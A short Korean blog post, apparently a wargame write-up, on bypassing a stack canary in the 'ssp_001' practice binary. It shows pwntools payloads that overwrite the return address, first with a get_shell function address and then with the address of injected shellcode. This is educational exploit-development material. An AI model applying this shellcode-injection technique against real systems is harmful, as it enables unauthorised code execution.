앞의 게시물에서 카나리 우회를 통해 쉘을 획득하는 문제(wargame - ssp_001)를 다뤘다.
이 문제는 코드에 get_shell이라는 함수가 정의되어있기 때문에
해당 함수의 주소를 덮어씌움으로써 쉘을 획득했는데
이러한 함수가 없는 경우엔? 직접 쉘코드를 가져오는 코드를 작성하여야 한다!
payload를 전송하는 부분만 달리해주면 된다.
elf = ELF('./ssp_001')
get_shell = elf.symbols['get_shell']
payload = b"A" * 0x40 + p32(canary) + b"A" * 0x8
payload += p32(get_shell) # ret
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(canary) + b"A"*0x8
payload += p64(buf) # ret
이런식으로 buf를 sh로 덮어씌운 후, ret 주소를 buf의 주소로 설정해주면 끝!